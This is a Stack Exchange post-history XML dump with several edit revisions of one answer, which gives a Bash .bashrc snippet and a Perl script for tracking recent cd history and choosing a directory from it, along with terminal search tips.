  <row Id="27569" PostHistoryTypeId="5" PostId="11320" RevisionGUID="201c707b-08de-4e86-8c17-7b21ce9f8a10" CreationDate="2011-04-15T08:01:22.357" UserId="138" Comment="typo fix" Text="Add the following to your `~/.bashrc` file:&#xD;&#xA;&#xD;&#xA;    #### cd history mechanism ##############################################&#xD;&#xA;&#xD;&#xA;    export CDHISTFILE=~/.cdhistory&#xD;&#xA;    if [ -e $CDHISTFILE ]&#xD;&#xA;    then&#xD;&#xA;        cdht=`mktemp`&#xD;&#xA;        tail -500 $CDHISTFILE &gt; $cdht&#xD;&#xA;        mv $cdht $CDHISTFILE&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    function keep_cd_history() {&#xD;&#xA;        if [ -z &quot;$1&quot; ] ; then d=$HOME ; else d=$1 ; fi&#xD;&#xA;        echo -e `date +%s`&quot;\t&quot;`readlink -f &quot;$d&quot;` &gt;&gt; $CDHISTFILE&#xD;&#xA;        'cd' $d&#xD;&#xA;    }&#xD;&#xA;    function pick_cwd_from_history() {&#xD;&#xA;        f=~/.cdhistgo&#xD;&#xA;        cdhistpick $f&#xD;&#xA;        if [ -r $f ] ; then cd `head -1 $f` ; fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    alias cd=keep_cd_history&#xD;&#xA;    alias cdh=pick_cwd_from_history&#xD;&#xA;    &#xD;&#xA;    ########################################################################&#xD;&#xA;&#xD;&#xA;The first section truncates the cd history mechanism's custom history file if it's gotten bigger than 500 lines since the last time we looked at it. We can't use Bash's built-in history because it doesn't include timestamps, which you need in order to get the &quot;in the last 3 hours&quot; behavior.&#xD;&#xA;&#xD;&#xA;The two Bash functions do things we cannot do in the Perl code below, which otherwise does all the heavy lifting.&#xD;&#xA;&#xD;&#xA;The aliases are just convenience wrappers for the functions.&#xD;&#xA;&#xD;&#xA;All of that is pretty trivial, and for the most part its behavior should be obvious to anyone who understands even basic shell programming. The only tricky bit is the `readlink` call, which canonicalizes the paths you use. We have to do that so that `cd $HOME ; cd ; cd ~ ; cd ../$USER` results in 4 instances of the same path in the `cd` history, not four different entries.&#xD;&#xA;&#xD;&#xA;Now the really tricky bit:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    use strict;&#xD;&#xA;    use List::Util qw(min);&#xD;&#xA;    &#xD;&#xA;    #### Configurables #####################################################&#xD;&#xA;    &#xD;&#xA;    # Number of seconds back in time to look for candidate directories&#xD;&#xA;    my $history_seconds_threshold = 3 * 60 * 60;&#xD;&#xA;    &#xD;&#xA;    # Ignore directories we have gone to less than this many times&#xD;&#xA;    my $access_count_threshold = 1;&#xD;&#xA;    &#xD;&#xA;    # Number of directory options to give in pick list&#xD;&#xA;    my $max_choices = 7;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #### DO NOT OPEN. NO USER-SERVICEABLE PARTS INSIDE. ####################&#xD;&#xA;    &#xD;&#xA;    # Get file name our caller wants the cd choice to be sent to&#xD;&#xA;    die &quot;usage: $0 &lt;choice_file&gt;\n&quot; unless $#ARGV == 0;&#xD;&#xA;    my $cdhg_file = $ARGV[0];&#xD;&#xA;    unlink $cdhg_file;      # don't care if it fails&#xD;&#xA;    &#xD;&#xA;    # Build summary stats from history file to find recent most-accessed&#xD;&#xA;    my $oldest_interesting = time - $history_seconds_threshold;&#xD;&#xA;    my %stats;&#xD;&#xA;    open my $cdh, '&lt;', &quot;$ENV{HOME}/.cdhistory&quot; or die &quot;No cd history yet!\n&quot;;&#xD;&#xA;    while (&lt;$cdh&gt;) {&#xD;&#xA;        chomp;&#xD;&#xA;        my ($secs, $dir) = split /\t/;&#xD;&#xA;        next unless $secs and $secs &gt;= $oldest_interesting;&#xD;&#xA;        ++$stats{$dir};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Assemble directory pick list&#xD;&#xA;    my @counts = sort values %stats;&#xD;&#xA;    $access_count_threshold = $counts[$max_choices - 1] - 1&#xD;&#xA;            if @counts &gt; $max_choices;&#xD;&#xA;    my @dirs = grep { $stats{$_} &gt; $access_count_threshold } keys %stats;&#xD;&#xA;    $max_choices = min($max_choices, scalar @dirs);&#xD;&#xA;    &#xD;&#xA;    # Show pick list, and save response to the file pick_cwd_from_history()&#xD;&#xA;    # expects.  Why a file?  The shell must call chdir(2), not us, because&#xD;&#xA;    # if we do, we change only our CWD.  Can't use stdio; already in use.&#xD;&#xA;    my $choice;&#xD;&#xA;    if ($max_choices &gt; 1) {&#xD;&#xA;        for (my $i = 0; $i &lt; $max_choices; ++$i) {&#xD;&#xA;            print $i + 1, '. ', $dirs[$i], &quot;\n&quot;;&#xD;&#xA;        }&#xD;&#xA;        print &quot;\nYour choice, O splendid one? [1-$max_choices]: &quot;;&#xD;&#xA;        $choice = &lt;STDIN&gt;;&#xD;&#xA;        chomp $choice;&#xD;&#xA;        exit 0 unless $choice =~ /^[0-9]+$/ &amp;&amp; $choice &lt;= $max_choices;&#xD;&#xA;    }&#xD;&#xA;    elsif ($max_choices == 1) {&#xD;&#xA;        print &quot;Would you like to go $dirs[0]? [y/n]: &quot;;&#xD;&#xA;        $choice = 1 if uc(&lt;STDIN&gt;) =~ /^Y/;&#xD;&#xA;    }&#xD;&#xA;    else {&#xD;&#xA;        die &quot;Not enough cd history to give choices!\n&quot;;&#xD;&#xA;    }&#xD;&#xA;    if ($choice) {&#xD;&#xA;        open my $cdhg, '&gt;', $cdhg_file or&#xD;&#xA;                die &quot;Can't write to $cdhg_file: $!\n&quot;;&#xD;&#xA;        print $cdhg $dirs[$choice - 1], &quot;\n&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Save this to a file called `cdhistpick`, make it executable, and put it somewhere in your `PATH`. You won't execute it directly. Use the `cdh` alias for that, as it passes in a necessary argument via `pick_cwd_from_history()`.&#xD;&#xA;&#xD;&#xA;How does it work? Ummmm, exercise for the reader? :)&#xD;&#xA;&#xD;&#xA;To get your first requirement, the hotkey, you can use any macro recording program you like for your OS of choice. Just have it type `cdh` and press &lt;kbd&gt;Enter&lt;/kbd&gt; for you. Or, you can run `cdh` yourself, since it's easy to type.&#xD;&#xA;&#xD;&#xA;If you want a simpler but less functional alternative that will work everywhere, get into the habit of using Bash's reverse incremental search feature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;. Press that, then type &quot;cd &quot; (without the quotes, but with the trailing space) to be taken back to the previous `cd` command. Then each time you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, it takes you back to the `cd` command prior to that. In this way, you can walk backwards through all the `cd` commands you've given, within the limits of Bash's history feature.&#xD;&#xA;&#xD;&#xA;Say:&#xD;&#xA;&#xD;&#xA;    $ echo $HISTFILESIZE&#xD;&#xA;&#xD;&#xA;to see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history.&#xD;&#xA;&#xD;&#xA;To search forward through your command history after having stepped backwards through it, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If that doesn't work on your system, it is likely due to a conflict with &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_flow_control&quot;&gt;software flow control&lt;/a&gt;. You can fix it with this command:&#xD;&#xA;&#xD;&#xA;    $ stty stop undef&#xD;&#xA;&#xD;&#xA;That prevents Ctrl-S from being interpreted as the XOFF character.&#xD;&#xA;&#xD;&#xA;The consequence of this is that you can then no longer press Ctrl-S to temporarily pause terminal output. Personally, the last time I used that on purpose was back in the days of slow modems. These days with fast scrolling and big scroll-back buffers, I only use this feature by accident, then have to spend a second remembering to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; to get the terminal un-stuck. :)" />
  <row Id="27570" PostHistoryTypeId="5" PostId="11320" RevisionGUID="b75c161a-6077-4f2a-868e-ef1f86b090f8" CreationDate="2011-04-15T08:10:03.687" UserId="138" Comment="better handling of directories with spaces in" Text="Add the following to your `~/.bashrc` file:&#xD;&#xA;&#xD;&#xA;    #### cd history mechanism ##############################################&#xD;&#xA;&#xD;&#xA;    export CDHISTFILE=~/.cdhistory&#xD;&#xA;    if [ -e &quot;$CDHISTFILE&quot; ]&#xD;&#xA;    then&#xD;&#xA;        cdht=`mktemp`&#xD;&#xA;        tail -500 &quot;$CDHISTFILE&quot; &gt; $cdht&#xD;&#xA;        mv &quot;$cdht&quot; &quot;$CDHISTFILE&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    function keep_cd_history() {&#xD;&#xA;        if [ -z &quot;$1&quot; ] ; then d=&quot;$HOME&quot; ; else d=&quot;$1&quot; ; fi&#xD;&#xA;        echo -e `date +%s`&quot;\t&quot;`readlink -f &quot;$d&quot;` &gt;&gt; $CDHISTFILE&#xD;&#xA;        'cd' &quot;$d&quot;&#xD;&#xA;    }&#xD;&#xA;    function pick_cwd_from_history() {&#xD;&#xA;        f=~/.cdhistgo&#xD;&#xA;        cdhistpick &quot;$f&quot;&#xD;&#xA;        if [ -r &quot;$f&quot; ] ; then cd &quot;`head -1 $f`&quot; ; fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    alias cd=keep_cd_history&#xD;&#xA;    alias cdh=pick_cwd_from_history&#xD;&#xA;    &#xD;&#xA;    ########################################################################&#xD;&#xA;&#xD;&#xA;The first section truncates the cd history mechanism's custom history file if it's gotten bigger than 500 lines since the last time we looked at it. We can't use Bash's built-in history because it doesn't include timestamps, which you need in order to get the &quot;in the last 3 hours&quot; behavior.&#xD;&#xA;&#xD;&#xA;The two Bash functions do things we cannot do in the Perl code below, which otherwise does all the heavy lifting.&#xD;&#xA;&#xD;&#xA;The aliases are just convenience wrappers for the functions.&#xD;&#xA;&#xD;&#xA;All of that is pretty trivial, and for the most part its behavior should be obvious to anyone who understands even basic shell programming. The only tricky bit is the `readlink` call, which canonicalizes the paths you use. We have to do that so that `cd $HOME ; cd ; cd ~ ; cd ../$USER` results in 4 instances of the same path in the `cd` history, not four different entries.&#xD;&#xA;&#xD;&#xA;Now the really tricky bit:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    use strict;&#xD;&#xA;    use List::Util qw(min);&#xD;&#xA;    &#xD;&#xA;    #### Configurables #####################################################&#xD;&#xA;    &#xD;&#xA;    # Number of seconds back in time to look for candidate directories&#xD;&#xA;    my $history_seconds_threshold = 3 * 60 * 60;&#xD;&#xA;    &#xD;&#xA;    # Ignore directories we have gone to less than this many times&#xD;&#xA;    my $access_count_threshold = 1;&#xD;&#xA;    &#xD;&#xA;    # Number of directory options to give in pick list&#xD;&#xA;    my $max_choices = 7;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #### DO NOT OPEN. NO USER-SERVICEABLE PARTS INSIDE. ####################&#xD;&#xA;    &#xD;&#xA;    # Get file name our caller wants the cd choice to be sent to&#xD;&#xA;    die &quot;usage: $0 &lt;choice_file&gt;\n&quot; unless $#ARGV == 0;&#xD;&#xA;    my $cdhg_file = $ARGV[0];&#xD;&#xA;    unlink $cdhg_file;      # don't care if it fails&#xD;&#xA;    &#xD;&#xA;    # Build summary stats from history file to find recent most-accessed&#xD;&#xA;    my $oldest_interesting = time - $history_seconds_threshold;&#xD;&#xA;    my %stats;&#xD;&#xA;    open my $cdh, '&lt;', &quot;$ENV{HOME}/.cdhistory&quot; or die &quot;No cd history yet!\n&quot;;&#xD;&#xA;    while (&lt;$cdh&gt;) {&#xD;&#xA;        chomp;&#xD;&#xA;        my ($secs, $dir) = split /\t/;&#xD;&#xA;        next unless $secs and $secs &gt;= $oldest_interesting;&#xD;&#xA;        ++$stats{$dir};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Assemble directory pick list&#xD;&#xA;    my @counts = sort values %stats;&#xD;&#xA;    $access_count_threshold = $counts[$max_choices - 1] - 1&#xD;&#xA;            if @counts &gt; $max_choices;&#xD;&#xA;    my @dirs = grep { $stats{$_} &gt; $access_count_threshold } keys %stats;&#xD;&#xA;    $max_choices = min($max_choices, scalar @dirs);&#xD;&#xA;    &#xD;&#xA;    # Show pick list, and save response to the file pick_cwd_from_history()&#xD;&#xA;    # expects.  Why a file?  The shell must call chdir(2), not us, because&#xD;&#xA;    # if we do, we change only our CWD.  Can't use stdio; already in use.&#xD;&#xA;    my $choice;&#xD;&#xA;    if ($max_choices &gt; 1) {&#xD;&#xA;        for (my $i = 0; $i &lt; $max_choices; ++$i) {&#xD;&#xA;            print $i + 1, '. ', $dirs[$i], &quot;\n&quot;;&#xD;&#xA;        }&#xD;&#xA;        print &quot;\nYour choice, O splendid one? [1-$max_choices]: &quot;;&#xD;&#xA;        $choice = &lt;STDIN&gt;;&#xD;&#xA;        chomp $choice;&#xD;&#xA;        exit 0 unless $choice =~ /^[0-9]+$/ &amp;&amp; $choice &lt;= $max_choices;&#xD;&#xA;    }&#xD;&#xA;    elsif ($max_choices == 1) {&#xD;&#xA;        print &quot;Would you like to go to $dirs[0]? [y/n]: &quot;;&#xD;&#xA;        $choice = 1 if uc(&lt;STDIN&gt;) =~ /^Y/;&#xD;&#xA;    }&#xD;&#xA;    else {&#xD;&#xA;        die &quot;Not enough cd history to give choices!\n&quot;;&#xD;&#xA;    }&#xD;&#xA;    if ($choice) {&#xD;&#xA;        open my $cdhg, '&gt;', $cdhg_file or&#xD;&#xA;                die &quot;Can't write to $cdhg_file: $!\n&quot;;&#xD;&#xA;        print $cdhg $dirs[$choice - 1], &quot;\n&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Save this to a file called `cdhistpick`, make it executable, and put it somewhere in your `PATH`. You won't execute it directly. Use the `cdh` alias for that, as it passes in a necessary argument via `pick_cwd_from_history()`.&#xD;&#xA;&#xD;&#xA;How does it work? Ummmm, exercise for the reader? :)&#xD;&#xA;&#xD;&#xA;To get your first requirement, the hotkey, you can use any macro recording program you like for your OS of choice. Just have it type `cdh` and press &lt;kbd&gt;Enter&lt;/kbd&gt; for you. Or, you can run `cdh` yourself, since it's easy to type.&#xD;&#xA;&#xD;&#xA;If you want a simpler but less functional alternative that will work everywhere, get into the habit of using Bash's reverse incremental search feature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;. Press that, then type &quot;cd &quot; (without the quotes, but with the trailing space) to be taken back to the previous `cd` command. Then each time you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, it takes you back to the `cd` command prior to that. In this way, you can walk backwards through all the `cd` commands you've given, within the limits of Bash's history feature.&#xD;&#xA;&#xD;&#xA;Say:&#xD;&#xA;&#xD;&#xA;    $ echo $HISTFILESIZE&#xD;&#xA;&#xD;&#xA;to see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history.&#xD;&#xA;&#xD;&#xA;To search forward through your command history after having stepped backwards through it, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If that doesn't work on your system, it is likely due to a conflict with &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_flow_control&quot;&gt;software flow control&lt;/a&gt;. You can fix it with this command:&#xD;&#xA;&#xD;&#xA;    $ stty stop undef&#xD;&#xA;&#xD;&#xA;That prevents Ctrl-S from being interpreted as the XOFF character.&#xD;&#xA;&#xD;&#xA;The consequence of this is that you can then no longer press Ctrl-S to temporarily pause terminal output. Personally, the last time I used that on purpose was back in the days of slow modems. These days with fast scrolling and big scroll-back buffers, I only use this feature by accident, then have to spend a second remembering to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; to get the terminal un-stuck. :)" />
  <row Id="27571" PostHistoryTypeId="5" PostId="11320" RevisionGUID="5e063564-24b7-4a2c-a881-b9063910fd71" CreationDate="2011-04-15T08:19:11.023" UserId="138" Comment="only adding dir to history file if cd command succeeded" Text="Add the following to your `~/.bashrc` file:&#xD;&#xA;&#xD;&#xA;    #### cd history mechanism ##############################################&#xD;&#xA;&#xD;&#xA;    export CDHISTFILE=~/.cdhistory&#xD;&#xA;    if [ -e &quot;$CDHISTFILE&quot; ]&#xD;&#xA;    then&#xD;&#xA;        cdht=`mktemp`&#xD;&#xA;        tail -500 &quot;$CDHISTFILE&quot; &gt; $cdht&#xD;&#xA;        mv &quot;$cdht&quot; &quot;$CDHISTFILE&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    function keep_cd_history() {&#xD;&#xA;        if [ -z &quot;$1&quot; ] ; then d=&quot;$HOME&quot; ; else d=&quot;$1&quot; ; fi&#xD;&#xA;        if 'cd' &quot;$d&quot;&#xD;&#xA;        then&#xD;&#xA;            echo -e `date +%s`&quot;\t&quot;`readlink -f &quot;$d&quot;` &gt;&gt; $CDHISTFILE&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    function pick_cwd_from_history() {&#xD;&#xA;        f=~/.cdhistgo&#xD;&#xA;        cdhistpick &quot;$f&quot;&#xD;&#xA;        if [ -r &quot;$f&quot; ] ; then cd &quot;`head -1 $f`&quot; ; fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    alias cd=keep_cd_history&#xD;&#xA;    alias cdh=pick_cwd_from_history&#xD;&#xA;    &#xD;&#xA;    ########################################################################&#xD;&#xA;&#xD;&#xA;The first section truncates the cd history mechanism's custom history file if it's gotten bigger than 500 lines since the last time we looked at it. We can't use Bash's built-in history because it doesn't include timestamps, which you need in order to get the &quot;in the last 3 hours&quot; behavior.&#xD;&#xA;&#xD;&#xA;The two Bash functions do things we cannot do in the Perl code below, which otherwise does all the heavy lifting.&#xD;&#xA;&#xD;&#xA;The aliases are just convenience wrappers for the functions.&#xD;&#xA;&#xD;&#xA;All of that is pretty trivial, and for the most part its behavior should be obvious to anyone who understands even basic shell programming. The only tricky bit is the `readlink` call, which canonicalizes the paths you use. We have to do that so that `cd $HOME ; cd ; cd ~ ; cd ../$USER` results in 4 instances of the same path in the `cd` history, not four different entries.&#xD;&#xA;&#xD;&#xA;Now the really tricky bit:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    use strict;&#xD;&#xA;    use List::Util qw(min);&#xD;&#xA;    &#xD;&#xA;    #### Configurables #####################################################&#xD;&#xA;    &#xD;&#xA;    # Number of seconds back in time to look for candidate directories&#xD;&#xA;    my $history_seconds_threshold = 3 * 60 * 60;&#xD;&#xA;    &#xD;&#xA;    # Ignore directories we have gone to less than this many times&#xD;&#xA;    my $access_count_threshold = 1;&#xD;&#xA;    &#xD;&#xA;    # Number of directory options to give in pick list&#xD;&#xA;    my $max_choices = 7;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #### DO NOT OPEN. NO USER-SERVICEABLE PARTS INSIDE. ####################&#xD;&#xA;    &#xD;&#xA;    # Get file name our caller wants the cd choice to be sent to&#xD;&#xA;    die &quot;usage: $0 &lt;choice_file&gt;\n&quot; unless $#ARGV == 0;&#xD;&#xA;    my $cdhg_file = $ARGV[0];&#xD;&#xA;    unlink $cdhg_file;      # don't care if it fails&#xD;&#xA;    &#xD;&#xA;    # Build summary stats from history file to find recent most-accessed&#xD;&#xA;    my $oldest_interesting = time - $history_seconds_threshold;&#xD;&#xA;    my %stats;&#xD;&#xA;    open my $cdh, '&lt;', &quot;$ENV{HOME}/.cdhistory&quot; or die &quot;No cd history yet!\n&quot;;&#xD;&#xA;    while (&lt;$cdh&gt;) {&#xD;&#xA;        chomp;&#xD;&#xA;        my ($secs, $dir) = split /\t/;&#xD;&#xA;        next unless $secs and $secs &gt;= $oldest_interesting;&#xD;&#xA;        ++$stats{$dir};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Assemble directory pick list&#xD;&#xA;    my @counts = sort values %stats;&#xD;&#xA;    $access_count_threshold = $counts[$max_choices - 1] - 1&#xD;&#xA;            if @counts &gt; $max_choices;&#xD;&#xA;    my @dirs = grep { $stats{$_} &gt; $access_count_threshold } keys %stats;&#xD;&#xA;    $max_choices = min($max_choices, scalar @dirs);&#xD;&#xA;    &#xD;&#xA;    # Show pick list, and save response to the file pick_cwd_from_history()&#xD;&#xA;    # expects.  Why a file?  The shell must call chdir(2), not us, because&#xD;&#xA;    # if we do, we change only our CWD.  Can't use stdio; already in use.&#xD;&#xA;    my $choice;&#xD;&#xA;    if ($max_choices &gt; 1) {&#xD;&#xA;        for (my $i = 0; $i &lt; $max_choices; ++$i) {&#xD;&#xA;            print $i + 1, '. ', $dirs[$i], &quot;\n&quot;;&#xD;&#xA;        }&#xD;&#xA;        print &quot;\nYour choice, O splendid one? [1-$max_choices]: &quot;;&#xD;&#xA;        $choice = &lt;STDIN&gt;;&#xD;&#xA;        chomp $choice;&#xD;&#xA;        exit 0 unless $choice =~ /^[0-9]+$/ &amp;&amp; $choice &lt;= $max_choices;&#xD;&#xA;    }&#xD;&#xA;    elsif ($max_choices == 1) {&#xD;&#xA;        print &quot;Would you like to go to $dirs[0]? [y/n]: &quot;;&#xD;&#xA;        $choice = 1 if uc(&lt;STDIN&gt;) =~ /^Y/;&#xD;&#xA;    }&#xD;&#xA;    else {&#xD;&#xA;        die &quot;Not enough cd history to give choices!\n&quot;;&#xD;&#xA;    }&#xD;&#xA;    if ($choice) {&#xD;&#xA;        open my $cdhg, '&gt;', $cdhg_file or&#xD;&#xA;                die &quot;Can't write to $cdhg_file: $!\n&quot;;&#xD;&#xA;        print $cdhg $dirs[$choice - 1], &quot;\n&quot;;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Save this to a file called `cdhistpick`, make it executable, and put it somewhere in your `PATH`. You won't execute it directly. Use the `cdh` alias for that, as it passes in a necessary argument via `pick_cwd_from_history()`.&#xD;&#xA;&#xD;&#xA;How does it work? Ummmm, exercise for the reader? :)&#xD;&#xA;&#xD;&#xA;To get your first requirement, the hotkey, you can use any macro recording program you like for your OS of choice. Just have it type `cdh` and press &lt;kbd&gt;Enter&lt;/kbd&gt; for you. Or, you can run `cdh` yourself, since it's easy to type.&#xD;&#xA;&#xD;&#xA;If you want a simpler but less functional alternative that will work everywhere, get into the habit of using Bash's reverse incremental search feature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;. Press that, then type &quot;cd &quot; (without the quotes, but with the trailing space) to be taken back to the previous `cd` command. Then each time you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;, it takes you back to the `cd` command prior to that. In this way, you can walk backwards through all the `cd` commands you've given, within the limits of Bash's history feature.&#xD;&#xA;&#xD;&#xA;Say:&#xD;&#xA;&#xD;&#xA;    $ echo $HISTFILESIZE&#xD;&#xA;&#xD;&#xA;to see how many command lines Bash history will store for you. You might need to increase this to hold 3 hours worth of command history.&#xD;&#xA;&#xD;&#xA;To search forward through your command history after having stepped backwards through it, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;If that doesn't work on your system, it is likely due to a conflict with &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_flow_control&quot;&gt;software flow control&lt;/a&gt;. You can fix it with this command:&#xD;&#xA;&#xD;&#xA;    $ stty stop undef&#xD;&#xA;&#xD;&#xA;That prevents Ctrl-S from being interpreted as the XOFF character.&#xD;&#xA;&#xD;&#xA;The consequence of this is that you can then no longer press Ctrl-S to temporarily pause terminal output. Personally, the last time I used that on purpose was back in the days of slow modems. These days with fast scrolling and big scroll-back buffers, I only use this feature by accident, then have to spend a second remembering to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Q&lt;/kbd&gt; to get the terminal un-stuck. :)" />
  <row Id="27572" PostHistoryTypeId="5" PostId="11320" RevisionGUID="d018df72-963e-4593-aa90-5abeaeab62d2" CreationDate="2011-04-15T08:39:31.480" UserId="138" Comment="previous change broke storage of canonical name for some relative path forms; fixed" Text="Add the following to your `~/.bashrc` file:&#xD;&#xA;&#xD;&#xA;    #### cd history mechanism ##############################################&#xD;&#xA;&#xD;&#xA;    export CDHISTFILE=~/.cdhistory&#xD;&#xA;    if [ -e &quot;$CDHISTFILE&quot; ]&#xD;&#xA;    then&#xD;&#xA;        cdht=`mktemp`&#xD;&#xA;        tail -500 &quot;$CDHISTFILE&quot; &gt; $cdht&#xD;&#xA;        mv &quot;$cdht&quot; &quot;$CDHISTFILE&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    function keep_cd_history() {&#xD;&#xA;        if [ -z &quot;$1&quot; ] ; then d=&quot;$HOME&quot; ; else d=&quot;$1&quot; ; fi&#xD;&#xA;        cdhcan=`readlink -f &quot;$d&quot;`&#xD;&#xA;        if 'cd' &quot;$d&quot;&#xD;&#xA;        then&#xD;&#xA;            echo -e `date +%s`&quot;\t&quot;$cdhcan &gt;&gt; $CDHISTFILE&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    function pick_cwd_from_history() {&#xD;&#xA;        f=~/.cdhistgo&#xD;&#xA;        cdhistpick &quot;$f&quot;&#xD;&#xA;        if [ -r &quot;$f&quot; ] ; then cd &quot;`head -1 $f`&quot; ; fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    alias cd=keep_cd_history&#xD;&#xA;    alias cdh=pick_cwd_from_history&#xD;&#xA;    &#xD;&#xA;    ########################################################################&#xD;&#xA;&#xD;&#xA;The first section truncates the cd history mechanism's custom history file if it's gotten bigger than 500 lines since the last time we looked at it. We can't use Bash's built-in history because it doesn't include timestamps, which you need in order to get the &quot;in the last 3 hours&quot; behavior.&#xD;&#xA;&#xD;&#xA;The two Bash functions do things we cannot do in the Perl code below, which otherwise does all the heavy lifting.&#xD;&#xA;&#xD;&#xA;The aliases are just convenience wrappers for the functions.&#xD;&#xA;&#xD;&#xA;All of that is pretty trivial, and for the most part its behavior should be obvious to anyone who understands even basic shell programming. The only tricky bit is the `readlink` call, which canonicalizes the paths you use. We have to do that so that `cd $HOME ; cd ; cd ~ ; cd ../$USER` results in 4 instances of the same path in the `cd` history, not four different entries.&#xD;&#xA;&#xD;&#xA;Now the really tricky bit:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl -w&#xD;&#xA;    use strict;&#xD;&#xA;    use List::Util qw(min);&#xD;&#xA;    &#xD;&#xA;    #### Configurables #####################################################&#xD;&#xA;    &#xD;&#xA;    # Number of seconds back in time to look for candidate directories&#xD;&#xA;    my $history_seconds_threshold = 3 * 60 * 60;&#xD;&#xA;    &#xD;&#xA;    # Ignore directories we have gone to less than this many times&#xD;&#xA;    my $access_count_threshold = 1;&#xD;&#xA;    &#xD;&#xA;    # Number of directory options to give in pick list&#xD;&#xA;    my $max_choices = 7;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #### DO NOT OPEN. NO USER-SERVICEABLE PARTS INSIDE. ####################&#xD;&#xA;    &#xD;&#xA;    # Get file name our caller wants the cd choice to be sent to&#xD;&#xA;    die &quot;usage: $0 &lt;choice_file&gt;\n&quot; unless $#ARGV == 0;&#xD;&#xA;    my $cdhg_file = $ARGV[0];&#xD;&#xA;    unlink $cdhg_file;      # don't care if it fails&#xD;&#xA;    &#xD;&#xA;    # Build summary stats from history file to find recent most-accessed&#xD;&#xA;    my $oldest_interesting = time - $history_seconds_threshold;&#xD;&#xA;    my %stats;&#xD;&#xA;    open my $cdh, '&lt;', &quot;$ENV{HOME}/.cdhistory&quot; or die &quot;No cd history yet!\n&quot;;&#xD;&#xA;    while (&lt;$cdh&gt;) {&#xD;&#xA;        chomp;&#xD;&#xA;        my ($secs, $dir) = split /\t/;&#xD;&#xA;        next unless $secs and $secs &gt;= $oldest_interesting;&#xD;&#xA;        ++$stats{$dir};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    # Assemble directory pick list&#xD;&#xA;    my @counts = sort values %stats;&#xD;&#xA;    $access_count_threshold = $counts[$max_choices - 1] - 1&#xD;&#xA;            if @counts &gt; $max_choices;&#xD;&#xA;    my @dirs = grep { $stats{$_} &gt; $access_count_threshold } keys %stats;&#xD;&#xA;    $max_choices = min($max_choices, scalar @dirs);&#xD;&#xA;    &#xD;&#xA;    # Show pick list, and save response to the file pick_cwd_from_history()&#xD;&#xA;    # expects.  Why a file?  The shell must call chdir(2), not us, because&#xD;&#xA;    # if we do, we change only our CWD.  Can't use stdio; already in use.&#xD;&#xA;    my $choice;&#xD;&#xA;    if ($max_choices &gt; 1) {&#xD;&#xA;        for (my $i = 0; $i &lt; $max_choices; ++$i) {&#xD;&#xA;            print $i + 1, '. ', $dirs[$i], &quot;\n&quot;;&#xD;&#xA;        }&#xD;&#xA;        print &quot;\nYour choice, O splendid one? [1-$max_choices]: &quot;;&#xD;&#xA;        $choice = &lt;STDIN&gt;;&#xD;&#xA;        chomp $choice;&#xD;&#xA;        exit 0 unless $choice =~ /^[0-9]+$/ &amp;&amp; $choice &lt;= $max_choices;&#xD;&#xA;    }&#xD;&#xA;    elsif ($max_choices == 1) {&#xD;&#xA;        print &quot;Would you like to go to $dirs[0]? [y/n]: &quot;;&#xD;&#xA;        $choice = 1 if uc(&lt;STDIN&gt;) =~ /^Y/;&#xD;&#xA;    }&#xD;&#xA;    else {&#xD;&#xA;        die &quot;Not enough cd history to give choices!\n&quot;;&#xD;&#xA;    }&#xD;&#xA;    if ($choice) {&#xD;&#xA;        open my $cdhg, '&gt;', $cdhg_file or&#xD;&#xA;                die 